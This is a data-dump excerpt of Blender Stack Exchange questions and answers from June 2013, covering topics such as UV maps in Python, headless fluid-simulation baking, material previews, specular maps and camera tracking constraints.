  <row Id="700" PostTypeId="2" ParentId="699" CreationDate="2013-06-07T06:42:08.157" Score="7" Body="&lt;p&gt;No, apart from setting theme color and default line widths there is no way to color lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this was necessary, it's possible to write a python script that draws an overlay on the mesh using custom-data to store colors on edges, but this is quite an involved solution and not really ideal, because higher detail meshes will draw more slowly(since Python is not very fast for these kinds of tasks).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="20" LastEditDate="2013-06-07T15:58:17.070" LastActivityDate="2013-06-07T15:58:17.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="701" PostTypeId="1" AcceptedAnswerId="703" CreationDate="2013-06-07T07:37:31.833" Score="6" ViewCount="1848" Body="&lt;p&gt;&lt;a href=&quot;http://www.blenderguru.com/videos/create-a-realistic-earth/&quot;&gt;Andrew Price&lt;/a&gt; showed in one of &lt;a href=&quot;http://vimeo.com/25078416#t=998&quot;&gt;his tutorials&lt;/a&gt; how to use a white material node in the Blender internal render to get the brightness of a point and assign the texture accordingly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case: Point is bright: assign daylight texture; Point is dark: assign night light texture&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to reproduce that in cycles?&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-06-07T09:43:18.107" Title="Brightness dependent texture on mesh" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="703" PostTypeId="2" ParentId="701" CreationDate="2013-06-07T09:43:18.107" Score="8" Body="&lt;p&gt;No, it's not possible to do this in Cycles, it will first evaluate the material nodes entirely, and then compute the lighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supporting this would be incompatible with progressive rendering and bidirectional lighting algorithms, and so physically based render engines usually can't do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the earth example, a workaround would be to use a Normal node Dot output, with the Geometry node Normal output plugged into the Normal input. If you then set the direction to match the sun light it will give you a factor than can be used for blending.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-07T09:43:18.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="704" PostTypeId="1" AcceptedAnswerId="705" CreationDate="2013-06-07T11:01:16.760" Score="5" ViewCount="1271" Body="&lt;p&gt;When an addon grows it becomes convenient to break it out into modules, do those other modules (&lt;code&gt;.py&lt;/code&gt; files) also need a license block or is it sufficient to only put it in the &lt;code&gt;__init__.py&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="599" LastEditDate="2013-12-05T22:58:03.450" LastActivityDate="2013-12-05T22:58:03.450" Title="Must I add a license block to all files in a multi file addon?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="705" PostTypeId="2" ParentId="704" CreationDate="2013-06-07T11:11:45.267" Score="6" Body="&lt;p&gt;No, but it's good practice. All the official Blender addon files have a license block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/845895/putting-license-in-each-code-file&quot;&gt;https://stackoverflow.com/questions/845895/putting-license-in-each-code-file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-06-07T18:48:39.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="707" PostTypeId="2" ParentId="704" CreationDate="2013-06-07T11:13:39.497" Score="2" Body="&lt;p&gt;Some projects uses &lt;code&gt;See COPYING for license&lt;/code&gt; in all their files, instead of full license block (and include a file thus named), but generally they put some information about license in all component source files.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-06-07T11:13:39.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="708" PostTypeId="2" ParentId="657" CreationDate="2013-06-07T12:22:29.310" Score="13" Body="&lt;p&gt;I'm surprised at the analogy used in the wiki concerning Turntable. This is a turntable for scultping with clay. This lets you rotate around the vertical axis so you can see all sides and judge their proportions accordingly. This is why the mode is called &lt;code&gt;turntable&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WnQQZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;sup&gt;(&lt;a href=&quot;http://deniseferragamo.blogspot.nl/2011/09/step-by-step-how-i-make-gnome.html&quot; rel=&quot;noreferrer&quot;&gt;reference, Denise Ferragamo&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Trackball&lt;/code&gt; lets you rotate freely around a point in 3D space, this is like picking up the object with your hands and rotating it around until the point of interest is visible.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-10T05:20:43.610" LastActivityDate="2013-06-10T05:20:43.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="709" PostTypeId="5" CreationDate="2013-06-07T13:12:39.113" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;http://www.gnu.org/copyleft/gpl.html&quot; rel=&quot;nofollow&quot;&gt;GNU General Public License&lt;/a&gt; (GPL) is a copyleft free software license and is the most popular open source license.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tag is for questions related to the GNU General Public License that are &lt;strong&gt;not requests for legal advice.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-07T19:02:42.833" LastActivityDate="2013-06-07T19:02:42.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="710" PostTypeId="4" CreationDate="2013-06-07T13:12:39.113" Score="0" Body="The GNU General Public License is a copyleft free software license and is the most popular open source license." OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-07T19:02:40.333" LastActivityDate="2013-06-07T19:02:40.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="711" PostTypeId="1" AcceptedAnswerId="716" CreationDate="2013-06-07T14:05:35.363" Score="11" ViewCount="11120" Body="&lt;p&gt;I've made a script that creates a mesh in Blender using a binary file containing mesh data. That works fine, but now I need to get textures on the mesh and I want to create a UV map from the UV data in the file. However, I can't figure out how to add the UVs to the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like some system that lets me add a UV per vertex as I add the vertices. Should I be using UV loops? I don't really know what they are, but there is some information about &lt;code&gt;BMLoopUV&lt;/code&gt; at the following url, although no example usage:&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bmesh.types.html#bmesh.types.BMLoopUV&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_67_release/bmesh.types.html#bmesh.types.BMLoopUV&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="55" LastEditDate="2013-06-07T18:53:49.717" LastActivityDate="2013-06-10T17:22:01.430" Title="How to add a UV Map to a Mesh Using Python" Tags="&lt;python&gt;&lt;bmesh&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="712" PostTypeId="1" AcceptedAnswerId="713" CreationDate="2013-06-07T21:58:08.570" Score="5" ViewCount="2716" Body="&lt;p&gt;I am learning how to use blender. After I create an animation in blender, how do I send the output from a blender application so that it remains interactive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, I can save as &lt;code&gt;.exe&lt;/code&gt; but it is not interactive. How do I create a standalone file that has buttons to fast-forward and rewind the movie and change the camera view when I do something like dragging with mouse?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br /&gt;&#xA;I have an animation in blender. I want to export a standalone player with buttons/features that can change angle of view and do something like change frame rate of animation, or such stuff.&lt;/p&gt;&#xA;" OwnerDisplayName="user370" LastEditorUserId="14" LastEditDate="2013-06-14T12:34:47.557" LastActivityDate="2014-05-17T15:35:11.917" Title="Interactive output in blender" Tags="&lt;export&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="713" PostTypeId="2" ParentId="712" CreationDate="2013-06-07T23:35:41.497" Score="7" Body="&lt;p&gt;Rendering an animation will create a movie file(or a string of .pngs) which is not an interactive format. It sounds like you want to create an interactive application with the Blender Game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To export a Blender Game (as an Windows exe or Mac app):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the game using the Blender Game engine(which can be selected in the render engine dropdown). I'm not going to explain how to create the game, but there are tons of resources available.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the &quot;Save Game as Runtime&quot; addon.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to File &gt; Export &gt; Save Game as Runtime&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-07T23:35:41.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="714" PostTypeId="2" ParentId="164" CreationDate="2013-06-08T03:17:20.407" Score="12" Body="&lt;p&gt;Drivers can also be used to interactively animate Modifiers.&lt;/p&gt;&#xA;&lt;p&gt;You right click on the Subdivision parameter that needs to be driven, add a driver and then in the Graph Editors 'Drivers' view, set up the drivers.&lt;/p&gt;&#xA;&lt;p&gt;As you can see below, the z translation of two different empty objects is used to drive the modifier subsurf levels of two mesh objects. Only the viewport display levels are being driven. The Z location is stored in a driver variable and ten its absolute value is passed to a ceiling function so that only positive integers are generated. The ceil and abs functions are part of the math module that is automatically imported into the driver namespace.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BPQhR.png&quot; alt=&quot;Two Empty objects driving the subdivision levels on two different mesh objects&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can also access scene data like the current frame number like so for creating driver expressions&lt;/p&gt;&#xA;&lt;p&gt;context.scene.frame_current&lt;/p&gt;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/drivers/index.html#drivers&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/manual/en/latest/animation/drivers/index.html#drivers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="15924" LastEditDate="2020-11-30T00:57:51.533" LastActivityDate="2020-11-30T00:57:51.533" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="715" PostTypeId="1" AcceptedAnswerId="719" CreationDate="2013-06-08T05:17:29.750" Score="12" ViewCount="8383" Body="&lt;p&gt;As someone who comes from a Maya background, I got quite used to being able to open Maya's Hypershade window and see all the materials in my scene at a glance. However, in Blender it seems that the materials tab only shows materials that are assigned to the active object. Is there a way to display a material preview for all materials in a scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the only place I can find the materials added to my scene is in the outliner in datablocks mode, which shows me that there are materials in my scene, but I can't see previews of them or easily check if the textures have loaded correctly.&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2013-06-08T15:02:43.957" Title="Is there a way to see thumbnails of all the materials in a scene?" Tags="&lt;materials&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="716" PostTypeId="2" ParentId="711" CreationDate="2013-06-08T06:03:07.000" Score="8" Body="&lt;p&gt;There are 2 existing resources that show this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best is the template for this purpose that comes with blender 2.67:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;code&gt;Text Editor&lt;/code&gt; -&gt; &lt;code&gt;Templates&lt;/code&gt; -&gt; &lt;code&gt;Python&lt;/code&gt; -&gt; &lt;code&gt;Operator UV&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bmesh.html#customdata-access&quot;&gt;snippet&lt;/a&gt; in BMesh docs.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-08T06:03:07.000" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="717" PostTypeId="1" AcceptedAnswerId="718" CreationDate="2013-06-08T08:57:35.260" Score="18" ViewCount="8291" Body="&lt;p&gt;I wonder if it is currently possible to print or send messages to the Report window in the Info view? this would be quite useful sometimes.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-16T09:16:43.967" LastActivityDate="2021-03-15T11:25:30.237" Title="Is it possible to print to the Report window in the Info view?" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="718" PostTypeId="2" ParentId="717" CreationDate="2013-06-08T09:31:48.030" Score="22" Body="&lt;p&gt;We can always use an operator's &lt;a href=&quot;https://www.blender.org/api/blender_python_api_current/bpy.types.Operator.html#bpy.types.Operator.report&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;report&lt;/code&gt;&lt;/a&gt; method. Running the following operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class RENDER_OT_test(bpy.types.Operator):&#xA;    bl_idname = 'render.oha_test'&#xA;    bl_label = 'Test'&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, 'Printing report to Info window.')&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;prints this in the Info window:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bQ4eW.png&quot; alt=&quot;Info window&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color depends on the type enum: &lt;code&gt;INFO&lt;/code&gt; gets green, &lt;code&gt;WARNING&lt;/code&gt; light red, and &lt;code&gt;ERROR&lt;/code&gt; dark red. I don't see reference to any direct output to Info window, other than this method.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="3710" LastEditDate="2016-07-26T10:42:12.907" LastActivityDate="2016-07-26T10:42:12.907" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="719" PostTypeId="2" ParentId="715" CreationDate="2013-06-08T11:45:21.820" Score="6" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, this is not possible out of the box with Blender. You can only see previews of the current material(s) of the &lt;em&gt;currently selected&lt;/em&gt; object.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a workaround I could suggest however, it might be a little more work but worth it if you really want to see this, It could possibly be even automated.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a new primitive to the scene, you can change the &lt;em&gt;Display Type&lt;/em&gt; to &lt;em&gt;Wire&lt;/em&gt; so it doesn't distract you or move it to another layer until you need it. &lt;em&gt;Mine is the &lt;code&gt;MATERIAL_HOLDER&lt;/code&gt; below.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now open the compositor and switch to the &lt;em&gt;Material View&lt;/em&gt;. Select the &lt;em&gt;temporary&lt;/em&gt; object and tick, &lt;em&gt;Use nodes&lt;/em&gt; and delete the &lt;em&gt;Output&lt;/em&gt; node. Now for each material you add to the scene, just add a new &lt;em&gt;Material&lt;/em&gt; node to this object and press &lt;em&gt;Toggle Hidden Node Sockets&lt;/em&gt; in the &lt;kbd&gt;N&lt;/kbd&gt; to make them a bit smaller. This is effective as all the other objects still have their unique materials and properties but this object can show all the materials in the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how it could possibly look like &lt;em&gt;&lt;sup&gt;(&lt;a href=&quot;https://i.stack.imgur.com/BYNIp.png&quot; rel=&quot;noreferrer&quot;&gt;larger&lt;/a&gt;)&lt;/sup&gt;&lt;/em&gt;, I have also changed the preview object of the materials to a cube, It can be very flexible with some tweaking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BYNIp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-08T12:01:17.393" LastActivityDate="2013-06-08T12:01:17.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="721" PostTypeId="2" ParentId="715" CreationDate="2013-06-08T15:02:43.957" Score="17" Body="&lt;p&gt;What you really want is an old todo item. In two ways things already possible though.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Browse the materials in memory for linking (menu button to left of button where you can change material name). It shows icon-size previews. Blender already supports popups with larger previews (used for matcaps, brushes). Something similar could be coded to be used here too.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can inspect materials (with previews) inside any other .blend file with using the File-&gt;Append browser, it allows to go into a file and see materials. Set file browser to view thumbnails. This type of browsing could be used for linked large collections of materials, textures or images too.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-06-08T15:02:43.957" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="722" PostTypeId="1" AcceptedAnswerId="723" CreationDate="2013-06-08T15:10:09.613" Score="5" ViewCount="10318" Body="&lt;p&gt;I don't plan to be doing much cycles rendering, but I wanted to know if a GPU is still important if I'm doing high-poly modeling.&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="14" LastEditDate="2014-01-03T14:39:22.620" LastActivityDate="2020-10-20T12:23:21.603" Title="How important is a GPU for modeling?" Tags="&lt;modeling&gt;&lt;gpu&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="723" PostTypeId="2" ParentId="722" CreationDate="2013-06-08T15:37:01.057" Score="8" Body="&lt;p&gt;I will &lt;em&gt;assume&lt;/em&gt; you are talking about an external GPU in this case, say a Nvidia GTX 660 etc..&lt;/p&gt;&#xA;&lt;p&gt;Excerpt from the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/gpu_rendering.html?#gpu-rendering&quot; rel=&quot;nofollow noreferrer&quot;&gt;Manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;...GPU rendering makes it possible to use your graphics card for&#xA;&lt;strong&gt;rendering&lt;/strong&gt;, instead of the CPU. This can speed up rendering, because&#xA;modern GPUs are quite designed to do a lot of number crunching...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In short, &lt;strong&gt;No&lt;/strong&gt;, you do not need an external GPU. Not to get too technical but except for &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?257323-What-everybody-needs-to-know-about-Blender-Viewport-performance&quot; rel=&quot;nofollow noreferrer&quot;&gt;drawing and viewport stuff amongst some other things&lt;/a&gt;, much of Blender's core functionality relies very little on a &lt;em&gt;fully fledged GPU&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For modeling in your case, &lt;strong&gt;you are perfectly fine with just a decent CPU and an onboard graphics card that supports OpenGL&lt;/strong&gt; &lt;em&gt;(which in these modern times is pretty much every one of them)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Having one would be nice though as this can greatly improve the viewport performance among other things but it is not a major requirement unless you are going to be doing very heavy or demanding production work.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Graphics card note:&lt;/strong&gt; Blender runs on all OpenGL compliant cards,&#xA;although there are some issues with cheap onboard cards (Intel, Via).&#xA;We therefore can't officially support and guarantee that Blender works&#xA;fine on those systems.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can see the &lt;a href=&quot;http://www.blender.org/features-gallery/requirements/&quot; rel=&quot;nofollow noreferrer&quot;&gt;system requirements for Blender here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2020-10-20T12:23:21.603" LastActivityDate="2020-10-20T12:23:21.603" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="724" PostTypeId="1" AcceptedAnswerId="728" CreationDate="2013-06-08T16:19:41.723" Score="13" ViewCount="3883" Body="&lt;p&gt;I would like to run a fluid simulation on a headless Ubuntu machine I have lying around. I did manage to find a &lt;a href=&quot;http://projects.blender.org/tracker/?func=detail&amp;amp;atid=498&amp;amp;aid=28725&amp;amp;group_id=9&quot; rel=&quot;nofollow&quot;&gt;bug report&lt;/a&gt; on the issue but to no avail. Has anyone else had any success? Or perhaps a better solution to my problem?&lt;/p&gt;&#xA;" OwnerUserId="387" LastEditorUserId="3127" LastEditDate="2015-04-16T13:51:05.613" LastActivityDate="2015-04-16T13:51:05.613" Title="Bake Fluid Simulation via CLI or Python?" Tags="&lt;python&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="726" PostTypeId="1" CreationDate="2013-06-08T17:12:00.360" Score="4" ViewCount="3308" Body="&lt;p&gt;I'm making an importer for a xbox360 game. Specular data is in the alpha channel of the image. Once I have enabled the alpha for image, blender does: &lt;code&gt;&quot;RGB&quot; + &quot;A&quot; = &quot;ARGB&quot;&lt;/code&gt;. But I need the &quot;RGB&quot;` to stay &quot;RGB&quot; for diffuse colors, and use &quot;A&quot; for the specular intensity map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm copying the same image with alpha disabled for diffuse, and with alpha enabled for specular, but copying a lot of hi-res textures is not an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I stop alpha affecting the diffuse colors? Or how do I set RGB for diffuse color map, and alpha for specular intensity map?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[update]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unticking the &quot;Image sampling -&gt; Alpha -&gt; Use&quot; does not work(the image only becomes darker). Here is the &lt;a href=&quot;http://rghost.ru/download/46615330/e61f59e40b9cfe5ae14df241e8d2e08648ef5d9c/alpha_specular.blend&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;blend file &amp;#40;click&amp;#41;&quot;&gt;.blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WLitg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the image above: At the left, alpha is on - specularity is ok diffuse is not and at the right alpha is off - diffuse is ok but specularity is not&lt;/p&gt;&#xA;" OwnerUserId="393" LastEditorUserId="12" LastEditDate="2013-06-08T21:03:52.730" LastActivityDate="2016-01-14T10:52:11.793" Title="Set specular map from alpha channel" Tags="&lt;texturing&gt;&lt;transparency&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="727" PostTypeId="2" ParentId="648" CreationDate="2013-06-08T17:16:45.483" Score="7" Body="&lt;p&gt;Orthographic - This is without perspective distortion. I use this when modeling. You can model more accurately, and align things in the scene easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perspective - It will change depending on the 'focal length' you use for the camera when rendering or during animation, so this is best not used when modeling, but it can help you get a feel for the object while modeling.&lt;/p&gt;&#xA;" OwnerUserId="392" LastActivityDate="2013-06-08T17:16:45.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="728" PostTypeId="2" ParentId="724" CreationDate="2013-06-08T17:21:28.153" Score="25" Body="&lt;p&gt;It's a bit more complicated than it could be because fluid simulating baking is only exposed as an operator. That means it expects an active object in the context, which is usually provided by the user interface that is not available in background mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to pass this object to the operator manually however. The following is an example script that bakes all fluid domain objects in all scenes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for scene in bpy.data.scenes:&#xA;    for object in scene.objects:&#xA;        for modifier in object.modifiers:&#xA;            if modifier.type == 'FLUID_SIMULATION':&#xA;                if modifier.settings.type == 'DOMAIN':&#xA;                    bpy.ops.fluid.bake({'scene': scene, 'active_object': object})&#xA;                    break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works when executed from the command line with a command like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background file.blend --python script.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-08T17:21:28.153" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="729" PostTypeId="2" ParentId="726" CreationDate="2013-06-08T17:24:15.453" Score="2" Body="&lt;p&gt;For your first question, to stop your diffuse texture from using the alpha channel of the image, go to the Texture tab and under &lt;em&gt;Image&lt;/em&gt;, untick &lt;em&gt;Use  Alpha&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how it looks now as compared to those above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m5Zt2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you tick &lt;em&gt;Specular&lt;/em&gt; under &lt;em&gt;Influence&lt;/em&gt;, Blender will automatically use any specular highlights in the image .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can check parts of your textures you want to be affected and or by how much under &lt;em&gt;Influence&lt;/em&gt; in the same texture tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iisv1.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-08T22:37:40.527" LastActivityDate="2013-06-08T22:37:40.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="730" PostTypeId="1" AcceptedAnswerId="731" CreationDate="2013-06-08T18:08:36.923" Score="10" ViewCount="585" Body="&lt;p&gt;In the Node Editor (Blender 2.67) there is pin icon in the menubar below, which is described as “Use the pinned node tree”.&#xA;What is it used for?&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="12" LastEditDate="2013-06-08T18:29:24.453" LastActivityDate="2013-06-10T16:12:58.453" Title="What does “Use the pinned node tree” do?" Tags="&lt;nodes&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="731" PostTypeId="2" ParentId="730" CreationDate="2013-06-08T18:41:36.407" Score="10" Body="&lt;p&gt;The pinned node tree feature enables you to stick a node tree (pin it) to one instance of the node editor, so that you can open another node editor displaying another node tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feature is really useful when you need to simultaneously compare and edit Node Trees belonging to different data blocks (materials for instance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Node_Editor&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Node_Editor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-06-10T16:12:58.453" LastActivityDate="2013-06-10T16:12:58.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="732" PostTypeId="2" ParentId="43" CreationDate="2013-06-08T19:23:43.217" Score="19" Body="&lt;p&gt;If you want to move it quickly I would recommend this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Constraint Track&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a null object&lt;/li&gt;&#xA;&lt;li&gt;Select the camera then the object then press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;T&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click damped track to constraint &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now move either object as desired (The camera will always look at that object meaning you can move it around as you please)&lt;/p&gt;&#xA;" OwnerUserId="404" LastEditorUserId="12" LastEditDate="2013-06-08T19:29:38.507" LastActivityDate="2013-06-08T19:29:38.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
